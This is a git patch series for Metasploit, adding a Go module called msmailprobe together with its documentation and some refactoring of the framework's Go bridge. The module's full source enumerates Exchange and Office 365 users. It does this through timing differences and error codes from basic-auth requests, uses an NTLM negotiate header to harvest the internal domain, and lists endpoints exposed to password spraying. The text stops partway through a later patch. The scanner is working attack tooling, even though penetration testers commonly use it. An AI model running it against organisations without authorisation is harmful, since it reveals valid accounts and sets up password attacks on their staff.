From 38bea6c29c543430dc5de1551e5f5db8584c016b Mon Sep 17 00:00:00 2001 From: Christopher Lee Date: Wed, 14 Nov 2018 16:15:11 -0600 Subject: [PATCH 1/7] Added msmailprobe to msf --- .../metasploit/{module.go => module/core.go} | 232 ++++---- .../go/src/metasploit/module/metadata.go | 41 ++ .../scanner/msmail/exchange_enumerator.go | 543 ++++++++++++++++++ 3 files changed, 702 insertions(+), 114 deletions(-) rename lib/msf/core/modules/external/go/src/metasploit/{module.go => module/core.go} (72%) create mode 100644 lib/msf/core/modules/external/go/src/metasploit/module/metadata.go create mode 100755 modules/auxiliary/scanner/msmail/exchange_enumerator.go diff --git a/lib/msf/core/modules/external/go/src/metasploit/module.go b/lib/msf/core/modules/external/go/src/metasploit/module/core.go similarity index 72% rename from lib/msf/core/modules/external/go/src/metasploit/module.go rename to lib/msf/core/modules/external/go/src/metasploit/module/core.go index c791710dff..7e17e909d7 100644 --- a/lib/msf/core/modules/external/go/src/metasploit/module.go +++ b/lib/msf/core/modules/external/go/src/metasploit/module/core.go @@ -1,4 +1,8 @@ -package metasploit +/* + * Defines core functionality for a GOLANG module + */ + +package module import ( "bufio" @@ -6,68 +10,45 @@ import ( "log" "os" "strings" + "errors" ) -type response struct { - Jsonrpc string `json:"jsonrpc"` - ID string `json:"id"` -} +/* + * RunCallback represents the method to call from the module + */ +type RunCallback func(params map[string]interface{}) -func rpcSend(res interface{}) error { - resStr, err := json.Marshal(res) +/* + * Initializes the module waiting for input from stdin + */ +func Init(metadata *Metadata, callback RunCallback) { + var req Request + + err := json.NewDecoder(os.Stdin).Decode(&req) if err != nil { - return err - } - f := bufio.NewWriter(os.Stdout) - if _, err := f.Write(resStr); err != nil { - return err - } - if err := f.Flush(); err != nil { - return err + log.Fatalf("could not decode JSON: %v", err) } - return nil -} - -type ( - logparams struct { - Level string `json:"level"` - Message string `json:"message"` + switch strings.ToLower(req.Method) { + case "describe": + metadata.Capabilities = []string{"run"} + res := &MetadataResponse{"2.0", req.ID, metadata} + if err := rpcSend(res); err != nil { + log.Fatalf("error on running %s: %v", req.Method, err) + } + case "run": + params, e := parseParams(req.Parameters) + if e != nil { + log.Fatal(e) + } + callback(params) + res := &RunResponse{"2.0", req.ID, RunResult{"Module complete", ""}} + if err := rpcSend(res); err != nil { + log.Fatalf("error on running %s: %v", req.Method, err) + } + default: + log.Fatalf("method %s not implemented yet", req.Method) } - - logRequest struct { - Jsonrpc string `json:"jsonrpc"` - Method string `json:"method"` - Params logparams `json:"params"` - } -) - -func Log(message string, level string) { - req := &logRequest{"2.0", "message", logparams{level, message}} - if err := rpcSend(req); err != nil { - log.Fatal(err) - } -} - -type ( - reportparams struct { - Type string `json:"type"` - Data map[string]string `json:"data"` - } - - reportRequest struct { - Jsonrpc string `json:"jsonrpc"` - Method string `json:"method"` - Params reportparams `json:"params"` - } -) - -func report(kind string, base map[string]string, opts map[string]string) error { - for k, v := range base { - opts[k] = v - } - req := &reportRequest{"2.0", "report", reportparams{kind, opts}} - return rpcSend(req) } func ReportHost(ip string, opts map[string]string) { @@ -106,44 +87,11 @@ func ReportWrongPassword(username string, password string, opts map[string]strin } type ( - Reference struct { - Type string `json:"type"` - Ref string `json:"ref"` - } - - Target struct { - Platform string `json:"platform"` - Arch string `json:"arch"` - } - - Option struct { - Type string `json:"type"` - Description string `json:"description"` - Required bool `json:"required"` - Default string `json:"default"` - } - - Metadata struct { - Name string `json:"name"` - Description string `json:"description"` - Authors []string `json:"authors"` - Date string `json:"date"` - References []Reference `json:"references"` - Type string `json:"type"` - Rank string `json:"rank"` - WFSDelay int `json:"wfsdelay"` - Privileged bool `json:"privileged"` - Targets []Target `json:"targets,omitempty"` - Capabilities []string `json:"capabilities"` - Payload map[string]string `json:"payload,omitempty"` - Options map[string]Option `json:"options,omitempty"` - Notes map[string][]string `json:"notes,omitempty"` - } - Request struct { Jsonrpc string `json:"jsonrpc"` Method string `json:"method"` ID string `json:"id"` + Parameters interface{} `json:"params"` } MetadataResponse struct { @@ -162,34 +110,90 @@ type ( ID string `json:"id"` Result RunResult `json:"result"` } + + Parameters struct { + Type string `json:"type"` + Description string `json:"description"` + Required bool `json:"required"` + Default interface{} `json:"default"` + } ) -// RunCallback represents the exploit method to call from the module -type RunCallback func(req *Request) string +type response struct { + Jsonrpc string `json:"jsonrpc"` + ID string `json:"id"` +} -// Run runs the exploit -func Run(metadata *Metadata, callback RunCallback) { - var req Request - - err := json.NewDecoder(os.Stdin).Decode(&req) - if err != nil { - log.Fatalf("could not decode JSON: %v", err) +func parseParams(passedParams interface{}) (map[string]interface{}, error) { + v, ok := passedParams.(map[string]interface{}) + if !ok { + return nil, errors.New("cannot parse values") } - switch strings.ToLower(req.Method) { - case "describe": - metadata.Capabilities = []string{"run"} - res := &MetadataResponse{"2.0", req.ID, metadata} - if err := rpcSend(res); err != nil { - log.Fatalf("error on running %s: %v", req.Method, err) - } - case "run": - ret := callback(&req) - res := &RunResponse{"2.0", req.ID, RunResult{"Module complete", ret}} - if err := rpcSend(res); err != nil { - log.Fatalf("error on running %s: %v", req.Method, err) - } - default: - log.Fatalf("method %s not implemented yet", req.Method) + return v, nil +} + +func rpcSend(res interface{}) error { + resStr, err := json.Marshal(res) + if err != nil { + return err + } + f := bufio.NewWriter(os.Stdout) + if _, err := f.Write(resStr); err != nil { + return err + } + if err := f.Flush(); err != nil { + return err + } + + return nil +} + +type ( + logparams struct { + Level string `json:"level"` + Message string `json:"message"` + } + + logRequest struct { + Jsonrpc string `json:"jsonrpc"` + Method string `json:"method"` + Params logparams `json:"params"` + } +) + +func LogInfo(message string) { + msfLog(message, "info") +} + +func LogError(message string) { + msfLog(message, "error") +} + +func msfLog(message string, level string) { + req := &logRequest{"2.0", "message", logparams{level, message}} + if err := rpcSend(req); err != nil { + log.Fatal(err) } } + +type ( + reportparams struct { + Type string `json:"type"` + Data map[string]string `json:"data"` + } + + reportRequest struct { + Jsonrpc string `json:"jsonrpc"` + Method string `json:"method"` + Params reportparams `json:"params"` + } +) + +func report(kind string, base map[string]string, opts map[string]string) error { + for k, v := range base { + opts[k] = v + } + req := &reportRequest{"2.0", "report", reportparams{kind, opts}} + return rpcSend(req) +} \ No newline at end of file diff --git a/lib/msf/core/modules/external/go/src/metasploit/module/metadata.go b/lib/msf/core/modules/external/go/src/metasploit/module/metadata.go new file mode 100644 index 0000000000..da14b48f4f --- /dev/null +++ b/lib/msf/core/modules/external/go/src/metasploit/module/metadata.go @@ -0,0 +1,41 @@ +/* + * Module metadata definition + */ + +package module + +type ( + Reference struct { + Type string `json:"type"` + Ref string `json:"ref"` + } + + Target struct { + Platform string `json:"platform"` + Arch string `json:"arch"` + } + + Option struct { + Type string `json:"type"` + Description string `json:"description"` + Required bool `json:"required"` + Default string `json:"default"` + } + + Metadata struct { + Name string `json:"name"` + Description string `json:"description"` + Authors []string `json:"authors"` + Date string `json:"date"` + References []Reference `json:"references"` + Type string `json:"type"` + Rank string `json:"rank"` + WFSDelay int `json:"wfsdelay"` + Privileged bool `json:"privileged"` + Targets []Target `json:"targets,omitempty"` + Capabilities []string `json:"capabilities"` + Payload map[string]string `json:"payload,omitempty"` + Options map[string]Option `json:"options,omitempty"` + Notes map[string][]string `json:"notes,omitempty"` + } +) diff --git a/modules/auxiliary/scanner/msmail/exchange_enumerator.go b/modules/auxiliary/scanner/msmail/exchange_enumerator.go new file mode 100755 index 0000000000..552737f1f6 --- /dev/null +++ b/modules/auxiliary/scanner/msmail/exchange_enumerator.go @@ -0,0 +1,543 @@ +//usr/bin/env go run "$0" "$@"; exit "$?" + +/* + OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks. + This module leverages all known, and even some lesser-known services exposed by default + Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration. + + Identify Command + + Used for gathering information about a host that may be pointed towards an Exchange or o365 tied domain + Queries for specific DNS records related to Office 365 integration + Attempts to extract internal domain name for onprem instance of Exchange + Identifies services vulnerable to time-based user enumeration for onprem Exchange + Lists password-sprayable services exposed for onprem Exchange host + + Userenum (o365) Command + + Error-based user enumeration for Office 365 integrated email addresses + + */ +package main + +import ( + "crypto/tls" + b64 "encoding/base64" + "fmt" + "io/ioutil" + "log" + "metasploit/module" + "net" + "net/http" + "os" + "sort" + "strings" + "sync" + "time" + "strconv" +) + +func main() { + metadata := &module.Metadata{ + Name: "msmailprobe", + Description: "Office 365 and Exchange Enumeration", + Authors: []string{"poptart", "jlarose", "Vincent Yui", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"}, + Date: "2018-11-6", + Type: "single_scanner", + Privileged: false, + References: []module.Reference{}, + Options: map[string]module.Option{ + "Command": {Type: "string", Description: "Either 'userenum' or 'identify'", Required: true, Default: "identify"}, + "OnPrem": {Type: "bool", Description: "Flag to specify an On-Premise instance of Exchange", Required: false, Default: "false"}, + "O365": {Type: "bool", Description: "Use this flag if Exchange services are hosted by Office 365", Required: false, Default: "false"}, + "UserName": {Type: "string", Description: "Single user name to do identity test against", Required: false, Default: ""}, + "UserNameFilePath": {Type: "string", Description: "Path to file containing list of users", Required: false, Default: ""}, + "Email": {Type: "string", Description: "Single email address to do identity test against", Required: false, Default: ""}, + "EmailFilePath": {Type: "string", Description: "Path to file containing list of email addresses", Required: false, Default: ""}, + "OutputFile": {Type: "string", Description: "Used for outputting valid users/email", Required: false, Default: ""}, + }} + + module.Init(metadata, run) +} + +func run(params map[string]interface{}) { + switch strings.ToLower(params["Command"].(string)) { + case "userenum": + doUserEnum(params) + case "identify": + doIdentify(params) + default: + module.LogError("Command should be set and must be either: 'userenum' or 'identify'") + } +} + +func doUserEnum(params map[string]interface{}) { + onPrem, e := strconv.ParseBool(params["OnPrem"].(string)) + if e != nil { + module.LogError("Unable to parse 'OnPrem' value: " + e.Error()) + return + } + + o365, e := strconv.ParseBool(params["O365"].(string)) + if e != nil { + module.LogError("Unable to parse 'O365' value: " + e.Error()) + return + } + + if !onPrem && !o365 { + module.LogError("Either 'OnPrem' or 'O365' needs to be set") + return + } + + if onPrem && o365 { + module.LogError("Both 'OnPrem' and 'O365' cannot be set") + return + } + + threads, e := strconv.Atoi(params["THREADS"].(string)) + if e != nil { + module.LogError("Unable to parse 'Threads' value using default (5)") + threads = 5 + } + + if threads > 100 { + module.LogInfo("Threads value too large, setting max(100)") + threads = 100 + } + + if onPrem { + runOnPrem(params, threads) + } else { + runO365(params, threads) + } +} + +func doIdentify(params map[string]interface{}) { + host := params["RHOSTS"].(string) + harvestInternalDomain(host, true) + urlEnum(host) +} + +func runOnPrem(params map[string]interface{}, threads int) { + // The core shim prevents an empty RHOSTS value - we should fix this. + userNameFilePath := params["UserNameFilePath"].(string) + userName := params["UserName"].(string) + outputFile := params["OutputFile"].(string) + host := params["RHOSTS"].(string) + + if userNameFilePath == "" && userName == "" { + module.LogError("Expected 'UserNameFilePath' or 'UserName' field to be populated") + return + } + + if userNameFilePath != "" { + avgResponse := basicAuthAvgTime(host) + if outputFile == "" { + determineValidUsers(host, avgResponse, importUserList(userNameFilePath), threads) + } else { + writeFile(outputFile, determineValidUsers(host, avgResponse, importUserList(userNameFilePath), threads)) + } + } else { + avgResponse := basicAuthAvgTime(host) + determineValidUsers(host, avgResponse, []string{userName}, threads) + } +} + +func runO365(params map[string]interface{}, threads int) { + email := params["Email"].(string) + emailFilePath := params["EmailFilePath"].(string) + outputFile := params["OutputFile"].(string) + + if email == "" && emailFilePath == "" { + module.LogError("Expected 'Email' or 'EmailFilePath' field to be populated") + return + } + + if outputFile == "" { + if email != "" { + o365enum([]string{email}, threads) + } + + if emailFilePath != "" { + o365enum(importUserList(emailFilePath), threads) + } + } else { + if email != "" { + writeFile(outputFile, o365enum([]string{email}, threads)) + } + + if emailFilePath != "" { + writeFile(outputFile, o365enum(importUserList(emailFilePath), threads)) + } + } +} + +func harvestInternalDomain(host string, outputDomain bool) string { + if outputDomain == true { + module.LogInfo("Attempting to harvest internal domain:") + } + url1 := "https://" + host + "/ews" + url2 := "https://" + host + "/autodiscover/autodiscover.xml" + url3 := "https://" + host + "/rpc" + url4 := "https://" + host + "/mapi" + url5 := "https://" + host + "/oab" + url6 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml" + var urlToHarvest string + if webRequestCodeResponse(url1) == 401 { + urlToHarvest = url1 + } else if webRequestCodeResponse(url2) == 401 { + urlToHarvest = url2 + } else if webRequestCodeResponse(url3) == 401 { + urlToHarvest = url3 + } else if webRequestCodeResponse(url4) == 401 { + urlToHarvest = url4 + } else if webRequestCodeResponse(url5) == 401 { + urlToHarvest = url5 + } else if webRequestCodeResponse(url6) == 401 { + urlToHarvest = url6 + } else { + module.LogInfo("Unable to resolve host provided to harvest internal domain name.\n") + } + + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + timeout := time.Duration(3 * time.Second) + + client := &http.Client{ + Timeout: timeout, + Transport: tr, + } + req, err := http.NewRequest("GET", urlToHarvest, nil) + req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36") + req.Header.Set("Authorization", "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==") + resp, err := client.Do(req) + if err != nil { + return "" + } + ntlmResponse := resp.Header.Get("WWW-Authenticate") + data := strings.Split(ntlmResponse, " ") + base64DecodedResp, err := b64.StdEncoding.DecodeString(data[1]) + if err != nil { + module.LogError("Unable to parse NTLM response for internal domain name") + } + + var continueAppending bool + var internalDomainDecimal []byte + for _, decimalValue := range base64DecodedResp { + if decimalValue == 0 { + continue + } + if decimalValue == 2 { + continueAppending = false + } + if continueAppending == true { + internalDomainDecimal = append(internalDomainDecimal, decimalValue) + } + if decimalValue == 15 { + continueAppending = true + continue + } + } + if outputDomain == true { + module.LogInfo("Internal Domain: ") + module.LogInfo(string(internalDomainDecimal)) + } + return string(internalDomainDecimal) +} + +func importUserList(tempname string) []string { + userFileBytes, err := ioutil.ReadFile(tempname) + if err != nil { + module.LogError(err.Error()) + } + var userFileString = string(userFileBytes) + userArray := strings.Split(userFileString, "\n") + //Delete last unnecessary newline inserted into this slice + userArray = userArray[:len(userArray)-1] + return userArray +} + +func determineValidUsers(host string, avgResponse time.Duration, userlist []string, threads int) []string { + limit := threads + var wg sync.WaitGroup + mux := &sync.Mutex{} + queue := make(chan string) + + /*Keep in mind you, nothing has been added to handle successful auths + so the password for auth attempts has been hardcoded to something + that is not likely to be correct. + */ + pass := "Summer2018978" + internaldomain := harvestInternalDomain(host, false) + url1 := "https://" + host + "/autodiscover/autodiscover.xml" + url2 := "https://" + host + "/Microsoft-Server-ActiveSync" + url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml" + var urlToHarvest string + if webRequestCodeResponse(url1) == 401 { + urlToHarvest = url1 + } else if webRequestCodeResponse(url2) == 401 { + urlToHarvest = url2 + } else if webRequestCodeResponse(url3) == 401 { + urlToHarvest = url3 + } else { + module.LogInfo("Unable to resolve host provided to determine valid users.") + return []string{} + } + var validusers []string + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + for i := 0; i < limit; i++ { + wg.Add(1) + go func(i int) { + defer wg.Done() + for user := range queue { + startTime := time.Now() + webRequestBasicAuth(urlToHarvest, internaldomain+"\\"+user, pass, tr) + elapsedTime := time.Since(startTime) + + if float64(elapsedTime) < float64(avgResponse)*0.77 { + mux.Lock() + module.LogInfo("[+] " + user + " - " + string(elapsedTime)) + validusers = append(validusers, user) + mux.Unlock() + } else { + mux.Lock() + module.LogInfo("[-] " + user + " - " + string(elapsedTime)) + mux.Unlock() + } + } + }(i) + } + + for i := 0; i < len(userlist); i++ { + queue <- userlist[i] + } + + close(queue) + wg.Wait() + return validusers +} + +func basicAuthAvgTime(host string) time.Duration { + internaldomain := harvestInternalDomain(host, false) + url1 := "https://" + host + "/autodiscover/autodiscover.xml" + url2 := "https://" + host + "/Microsoft-Server-ActiveSync" + url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml" + var urlToHarvest string + if webRequestCodeResponse(url1) == 401 { + urlToHarvest = url1 + } else if webRequestCodeResponse(url2) == 401 { + urlToHarvest = url2 + } else if webRequestCodeResponse(url3) == 401 { + urlToHarvest = url3 + } else { + module.LogInfo("Unable to resolve host provided to determine valid users.") + return -1 + } + + //We are determining sample auth response time for invalid users, the password used is irrelevant. + pass := "Summer201823904" + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + module.LogInfo("Collecting sample auth times...") + + var sliceOfTimes []float64 + var medianTime float64 + + usernamelist := []string{"sdfsdskljdfhkljhf", "ssdlfkjhgkjhdfsdfw", "sdfsdfdsfff", "sefsefsefsss", "lkjhlkjhiuyoiuy", "khiuoiuhohuio", "s2222dfs45g45gdf", "sdfseddf3333"} + for i := 0; i < len(usernamelist)-1; i++ { + startTime := time.Now() + webRequestBasicAuth(urlToHarvest, internaldomain+"\\"+usernamelist[i], pass, tr) + elapsedTime := time.Since(startTime) + if elapsedTime > time.Second*15 { + module.LogInfo("Response taking longer than 15 seconds, setting time:") + module.LogInfo("Avg Response: " + string(time.Duration(elapsedTime))) + return time.Duration(elapsedTime) + } + if i != 0 { + module.LogInfo(elapsedTime.String()) + sliceOfTimes = append(sliceOfTimes, float64(elapsedTime)) + } + } + sort.Float64s(sliceOfTimes) + if len(sliceOfTimes)%2 == 0 { + positionOne := len(sliceOfTimes)/2 - 1 + positionTwo := len(sliceOfTimes) / 2 + medianTime = (sliceOfTimes[positionTwo] + sliceOfTimes[positionOne]) / 2 + } else if len(sliceOfTimes)%2 != 0 { + position := len(sliceOfTimes)/2 - 1 + medianTime = sliceOfTimes[position] + } else { + module.LogError("Error determining whether length of times gathered is even or odd to obtain median value.") + } + module.LogInfo("Avg Response: " + string(time.Duration(medianTime))) + return time.Duration(medianTime) +} + +func o365enum(emaillist []string, threads int) []string { + limit := threads + var wg sync.WaitGroup + mux := &sync.Mutex{} + queue := make(chan string) + //limit := 100 + + /*Keep in mind you, nothing has been added to handle successful auths + so the password for auth attempts has been hardcoded to something + that is not likely to be correct. + */ + pass := "Summer2018876" + URI := "https://outlook.office365.com/Microsoft-Server-ActiveSync" + var validemails []string + + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + + for i := 0; i < limit; i++ { + wg.Add(1) + go func(i int) { + defer wg.Done() + for email := range queue { + responseCode := webRequestBasicAuth(URI, email, pass, tr) + if strings.Contains(email, "@") && responseCode == 401 { + mux.Lock() + module.LogInfo("[+] " + email + " - 401") + validemails = append(validemails, email) + mux.Unlock() + } else if strings.Contains(email, "@") && responseCode == 404 { + mux.Lock() + module.LogInfo(fmt.Sprintf("[-] %s - %d \n", email, responseCode)) + mux.Unlock() + } else { + mux.Lock() + module.LogInfo(fmt.Sprintf("Unusual Response: %s - %d \n", email, responseCode)) + mux.Unlock() + } + } + }(i) + } + + for i := 0; i < len(emaillist); i++ { + queue <- emaillist[i] + } + + close(queue) + wg.Wait() + return validemails +} + +func webRequestBasicAuth(URI string, user string, pass string, tr *http.Transport) int { + timeout := time.Duration(45 * time.Second) + client := &http.Client{ + Timeout: timeout, + Transport: tr, + } + req, err := http.NewRequest("GET", URI, nil) + req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1") + req.SetBasicAuth(user, pass) + resp, err := client.Do(req) + if err != nil { + module.LogInfo(fmt.Sprintf("Potential Timeout - %s \n", user)) + module.LogInfo("One of your requests has taken longer than 45 seconds to respond.") + module.LogInfo("Consider lowering amount of threads used for enumeration.") + module.LogError(err.Error()) + } + return resp.StatusCode +} + +func urlEnum(hostInput string) { + hostSlice := strings.Split(hostInput, ".") + o365Domain := hostSlice[len(hostSlice)-2] + "-" + hostSlice[len(hostSlice)-1] + ".mail.protection.outlook.com" + addr, err := net.LookupIP(o365Domain) + if err != nil { + module.LogInfo("Domain is not using o365 resources.") + } else if addr == nil { + module.LogError("error") + } else { + module.LogInfo("Domain is using o365 resources.") + } + asURI := "https://" + hostInput + "/Microsoft-Server-ActiveSync" + adURI := "https://" + hostInput + "/autodiscover/autodiscover.xml" + ad2URI := "https://autodiscover." + hostInput + "/autodiscover/autodiscover.xml" + owaURI := "https://" + hostInput + "/owa" + timeEndpointsIdentified := false + module.LogInfo("Identifying endpoints vulnerable to time-based enumeration:") + timeEndpoints := []string{asURI, adURI, ad2URI, owaURI} + for _, uri := range timeEndpoints { + responseCode := webRequestCodeResponse(uri) + if responseCode == 401 { + module.LogInfo("[+] " + uri) + timeEndpointsIdentified = true + } + if responseCode == 200 { + module.LogInfo("[+] " + uri) + timeEndpointsIdentified = true + } + } + if timeEndpointsIdentified == false { + module.LogInfo("No Exchange endpoints vulnerable to time-based enumeration discovered.") + } + module.LogInfo("Identifying exposed Exchange endpoints for potential spraying:") + passEndpointIdentified := false + rpcURI := "https://" + hostInput + "/rpc" + oabURI := "https://" + hostInput + "/oab" + ewsURI := "https://" + hostInput + "/ews" + mapiURI := "https://" + hostInput + "/mapi" + + passEndpoints401 := []string{oabURI, ewsURI, mapiURI, asURI, adURI, ad2URI, rpcURI} + for _, uri := range passEndpoints401 { + responseCode := webRequestCodeResponse(uri) + if responseCode == 401 { + module.LogInfo("[+] " + uri) + passEndpointIdentified = true + } + } + ecpURI := "https://" + hostInput + "/ecp" + endpoints200 := []string{ecpURI, owaURI} + for _, uri := range endpoints200 { + responseCode := webRequestCodeResponse(uri) + if responseCode == 200 { + module.LogInfo("[+] " + uri) + passEndpointIdentified = true + } + } + if passEndpointIdentified == false { + module.LogInfo("No onprem Exchange services identified.") + } +} + +func webRequestCodeResponse(URI string) int { + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + timeout := time.Duration(3 * time.Second) + client := &http.Client{ + Timeout: timeout, + Transport: tr, + } + req, err := http.NewRequest("GET", URI, nil) + req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1") + resp, err := client.Do(req) + if err != nil { + return 0 + //log.Fatal(err) + } + return resp.StatusCode +} + +func writeFile(filename string, values []string) { + if len(values) == 0 { + return + } + f, err := os.Create(filename) + if err != nil { + log.Fatal(err) + } + defer f.Close() + for _, value := range values { + fmt.Fprintln(f, value) + } +} From 2deaf198b3fc57679c9df5010cff569c7c018451 Mon Sep 17 00:00:00 2001 From: christopher lee Date: Fri, 16 Nov 2018 13:29:22 -0600 Subject: [PATCH 2/7] Added module docs --- .../scanner/msmail/exchange_enumerator.md | 28 +++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 modules/auxiliary/scanner/msmail/exchange_enumerator.md diff --git a/modules/auxiliary/scanner/msmail/exchange_enumerator.md b/modules/auxiliary/scanner/msmail/exchange_enumerator.md new file mode 100644 index 0000000000..0f8c5ce912 --- /dev/null +++ b/modules/auxiliary/scanner/msmail/exchange_enumerator.md @@ -0,0 +1,28 @@ +OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks. + This module leverages all known, and even some lesser-known services exposed by default + Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration. + +**Identify Command** +- Used for gathering information about a host that may be pointed towards an Exchange or o365 tied domain +- Queries for specific DNS records related to Office 365 integration +- Attempts to extract internal domain name for onprem instance of Exchange +- Identifies services vulnerable to time-based user enumeration for onprem Exchange +- Lists password-sprayable services exposed for onprem Exchange host + +**Userenum (o365) Command** +- Error-based user enumeration for Office 365 integrated email addresses + +**Note:** Currently uses RHOSTS which resolves to an IP which is NOT desired, this is currently being fixed + +## Verification + +- Start `msfconsole` +- `use auxiliary/scanner/msmail/exchange_enumerator` +- `set RHOSTS ` +- `run` +- **Verify** the result is as expected + +- `set Command userenum` +- `set OnPrem true` and (set `UserName` or `UserNameFilePath`) OR `set O365 true` and (set `Email` or `EmailFilePath`) +- `run` +- **Verify** the result is as expected From 6225c04b998c1598bd2acdf0af301bdfdb58d4c4 Mon Sep 17 00:00:00 2001 From: Christopher Lee Date: Fri, 30 Nov 2018 11:36:39 -0600 Subject: [PATCH 3/7] Address review feedback, fix bugs --- .../auxiliary/scanner/msmail/host_id.md | 10 +- .../auxiliary/scanner/msmail/user_enum.md | 18 + lib/msf/core/module/external.rb | 37 ++ lib/msf/core/modules/external/bridge.rb | 17 +- .../external/go/src/metasploit/module/core.go | 45 +- .../go/src/metasploit/module/report.go | 57 ++ lib/msf/core/modules/external/shim.rb | 5 + .../scanner/msmail/exchange_enumerator.go | 543 ------------------ modules/auxiliary/scanner/msmail/host_id.go | 104 ++++ .../msmail/shared/src/msmail/msmail.go | 102 ++++ modules/auxiliary/scanner/msmail/user_enum.go | 346 +++++++++++ 11 files changed, 685 insertions(+), 599 deletions(-) rename modules/auxiliary/scanner/msmail/exchange_enumerator.md => documentation/modules/auxiliary/scanner/msmail/host_id.md (72%) create mode 100644 documentation/modules/auxiliary/scanner/msmail/user_enum.md create mode 100644 lib/msf/core/modules/external/go/src/metasploit/module/report.go delete mode 100755 modules/auxiliary/scanner/msmail/exchange_enumerator.go create mode 100755 modules/auxiliary/scanner/msmail/host_id.go create mode 100644 modules/auxiliary/scanner/msmail/shared/src/msmail/msmail.go create mode 100755 modules/auxiliary/scanner/msmail/user_enum.go diff --git a/modules/auxiliary/scanner/msmail/exchange_enumerator.md b/documentation/modules/auxiliary/scanner/msmail/host_id.md similarity index 72% rename from modules/auxiliary/scanner/msmail/exchange_enumerator.md rename to documentation/modules/auxiliary/scanner/msmail/host_id.md index 0f8c5ce912..adfb092ab8 100644 --- a/modules/auxiliary/scanner/msmail/exchange_enumerator.md +++ b/documentation/modules/auxiliary/scanner/msmail/host_id.md @@ -9,20 +9,12 @@ OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks. - Identifies services vulnerable to time-based user enumeration for onprem Exchange - Lists password-sprayable services exposed for onprem Exchange host -**Userenum (o365) Command** -- Error-based user enumeration for Office 365 integrated email addresses - **Note:** Currently uses RHOSTS which resolves to an IP which is NOT desired, this is currently being fixed ## Verification - Start `msfconsole` -- `use auxiliary/scanner/msmail/exchange_enumerator` +- `use auxiliary/scanner/msmail/identify` - `set RHOSTS ` - `run` - **Verify** the result is as expected - -- `set Command userenum` -- `set OnPrem true` and (set `UserName` or `UserNameFilePath`) OR `set O365 true` and (set `Email` or `EmailFilePath`) -- `run` -- **Verify** the result is as expected diff --git a/documentation/modules/auxiliary/scanner/msmail/user_enum.md b/documentation/modules/auxiliary/scanner/msmail/user_enum.md new file mode 100644 index 0000000000..7e5de7cd61 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/msmail/user_enum.md @@ -0,0 +1,18 @@ +OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks. + This module leverages all known, and even some lesser-known services exposed by default + Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration. + +**Userenum (o365) Command** +- Error-based user enumeration for Office 365 integrated email addresses + +**Note:** Currently uses RHOSTS which resolves to an IP which is NOT desired, this is currently being fixed + +## Verification + +- Start `msfconsole` +- `use auxiliary/scanner/msmail/user_enum` +- `set RHOSTS ` +- `set OnPrem true` and (set `USER` or `USER_FILE`) OR `set O365 true` and (set `EMAIL` or `EMAIL_FILE`) +- `run` +- `creds` shows valid users +- **Verify** the result is as expected diff --git a/lib/msf/core/module/external.rb b/lib/msf/core/module/external.rb index 34a152beb7..6ffad73e3a 100644 --- a/lib/msf/core/module/external.rb +++ b/lib/msf/core/module/external.rb @@ -119,8 +119,45 @@ module Msf::Module::External }) invalidate_login(**cred) + + when 'credential_login' + handle_credential_login(data, mod) else print_warning "Skipping unrecognized report type #{m.params['type']}" end end end + +# +# Handles login report that does not necessarily need to include a password +# +def handle_credential_login(data, mod) + # Required + service_data = { + address: data['address'], + port: data['port'], + protocol: data['protocol'], + service_name: data['service_name'], + module_fullname: data['fullname'], + workspace_id: myworkspace_id + } + + # Optional + credential_data = { + origin_type: :service, + username: data['username'] + }.merge(service_data) + + if data.has_key?(:password) + print_warning "In pass" + credential_data[:private_data] = data['password'] + credential_data[:private_type] = :password + end + + login_data = { + core: create_credential(credential_data), + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + create_credential_login(login_data) +end diff --git a/lib/msf/core/modules/external/bridge.rb b/lib/msf/core/modules/external/bridge.rb index 08b5f9a2f6..c5d718ab1e 100644 --- a/lib/msf/core/modules/external/bridge.rb +++ b/lib/msf/core/modules/external/bridge.rb @@ -142,7 +142,7 @@ module Msf::Modules elsif Process.kill('TERM', self.wait_thread.pid) && self.wait_thread.join(10) self.exit_status = self.wait_thread.value else - Procoess.kill('KILL', self.wait_thread.pid) + Process.kill('KILL', self.wait_thread.pid) self.exit_status = self.wait_thread.value end end @@ -197,8 +197,19 @@ class Msf::Modules::External::GoBridge < Msf::Modules::External::Bridge def initialize(module_path, framework: nil) super - gopath = ENV['GOPATH'] || '' - self.env = self.env.merge({ 'GOPATH' => File.expand_path('../go', __FILE__) + File::PATH_SEPARATOR + gopath}) + default_go_path = ENV['GOPATH'] || '' + shared_module_lib_path = File.dirname(module_path) + "/shared" + go_path = File.expand_path('../go', __FILE__) + + if File.exist?(default_go_path) + go_path = go_path + File::PATH_SEPARATOR + default_go_path + end + + if File.exist?(shared_module_lib_path) + go_path = go_path + File::PATH_SEPARATOR + shared_module_lib_path + end + + self.env = 